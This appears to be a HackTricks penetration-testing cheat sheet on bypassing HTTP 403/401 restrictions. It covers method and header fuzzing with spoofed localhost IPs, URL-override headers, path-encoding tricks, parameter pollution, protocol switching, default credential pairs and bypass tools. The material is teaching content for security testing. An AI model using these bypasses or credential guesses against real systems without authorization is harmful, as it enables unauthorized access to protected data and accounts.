--- title: "403 & 401 Bypasses" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0" --- # 403 & 401 Bypasses ## HTTP Verbs/Methods Fuzzing Try different methods against the same resource: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`. Only use state-changing methods when the assessment scope permits them.[[3]](#references) - Check the response headers, maybe some information can be given. For example, a **200 response** to **HEAD** with `Content-Length: 55` means that the **HEAD verb can access the info**. But you still need to find a way to exfiltrate that info. - Some frameworks honor headers such as `X-HTTP-Method-Override: PUT`, causing application routing to treat the request as a different method even though the HTTP request line is unchanged. - Use **`TRACE`** verb and if you are very lucky maybe in the response you can see also the **headers added by intermediate proxies** that might be useful. ## HTTP Headers Fuzzing - **Change Host header** to some arbitrary value ([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))[[1]](#references) - Try other User-Agent values from a maintained fuzzing list.[[4]](#references) - **Fuzz HTTP headers**: test proxy-origin headers, a small authorized set of Basic/NTLM credentials, and related routing variations. `fuzzhttpbypass` automates many of these probes.[[5]](#references) - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` - `X-Forwarded: 127.0.0.1` - `Forwarded-For: 127.0.0.1` - `X-Remote-IP: 127.0.0.1` - `X-Remote-Addr: 127.0.0.1` - `X-ProxyUser-Ip: 127.0.0.1` - `X-Original-URL: 127.0.0.1` - `Client-IP: 127.0.0.1` - `True-Client-IP: 127.0.0.1` - `Cluster-Client-IP: 127.0.0.1` - `Host: localhost` If the **path is protected** you can try to bypass the path protection using these other headers: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` - If the page is **behind a proxy**, the proxy may be enforcing the restriction while the backend applies different rules. Test [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) or [**hop-by-hop headers**](/hacktricks/pentesting-web/abusing-hop-by-hop-headers) where authorized. - Fuzz [**special HTTP headers**](/hacktricks/network-services-pentesting/pentesting-web/special-http-headers) looking for different response. - **Fuzz special HTTP headers** while fuzzing **HTTP Methods**. - **Remove the Host header** and maybe you will be able to bypass the protection. ## Path **Fuzzing** If _/path_ is blocked: - Try using `/%2e/path` (if the access is blocked by a proxy, this could bypass the protection). Try also `/%252e**/path` (double URL encode) - Try **Unicode bypass**: _/**%ef%bc%8f**path_ (The URL encoded chars are like "/") so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check - **Other path bypasses**: - `site.com/secret` → HTTP 403 Forbidden - `site.com/SECRET` → HTTP 200 OK - `site.com/secret/` → HTTP 200 OK - `site.com/secret/.` → HTTP 200 OK - `site.com//secret//` → HTTP 200 OK - `site.com/./secret/..` → HTTP 200 OK - `site.com/;/secret` → HTTP 200 OK - `site.com/.;/secret` → HTTP 200 OK - `site.com//;//secret` → HTTP 200 OK - `site.com/secret.json` → HTTP 200 OK (some Ruby routing stacks) - Use all [**this list**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in the following situations: - /FUZZsecret - /FUZZ/secret - /secretFUZZ - **Other API bypasses:** - /v3/users_data/1234 --> 403 Forbidden - /v1/users_data/1234 --> 200 OK - `{"id":111}` → 401 Unauthorized - `{"id":[111]}` → 200 OK - `{"id":{"id":111}}` → 200 OK - {"user_id":"\","user_id":"\"} (JSON Parameter Pollution) - user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution) ## **Parameter Manipulation** - Change **param value**: From **`id=123` --> `id=124`** - Add additional parameters to the URL: `?`**`id=124` —-> `id=124&isAdmin=true`** - Remove the parameters - Re-order parameters - Use special characters. - Perform boundary testing in the parameters — provide values like _-234_ or _0_ or _99999999_ (just some example values). ## **Protocol version** If the target uses HTTP/1.1, compare HTTP/1.0 and HTTP/2 behavior. Different front-end/backend protocol handling can expose inconsistent authorization or path normalization.[[3]](#references) ## **Other Bypasses** - Get the **IP** or **CNAME** of the domain and try **contacting it directly**. - Try to **stress the server** sending common GET requests ([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).[[2]](#references) - **Change the protocol**: from http to https, or for https to http - Go to [**https://archive.org/web/**](https://archive.org/web/) and check if in the past that file was **worldwide accessible**. ## **Brute Force** - **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name? - [**Brute force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#http-brute)**:** Try basic, digest and NTLM auth. ```text admin admin admin password admin 1234 admin admin1234 admin 123456 root toor test test guest guest ``` ## Automatic Tools - [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) - [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) - [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass) - [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden) ## References - [1] [Exploiting Admin Panel Like a Boss](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31) - [2] [Story of a weird vulnerability I found on Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125) - [3] [OWASP Web Security Testing Guide - Testing for bypassing authorization schema](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema) - [4] [SecLists - User-Agent fuzzing list](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) - [5] [carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)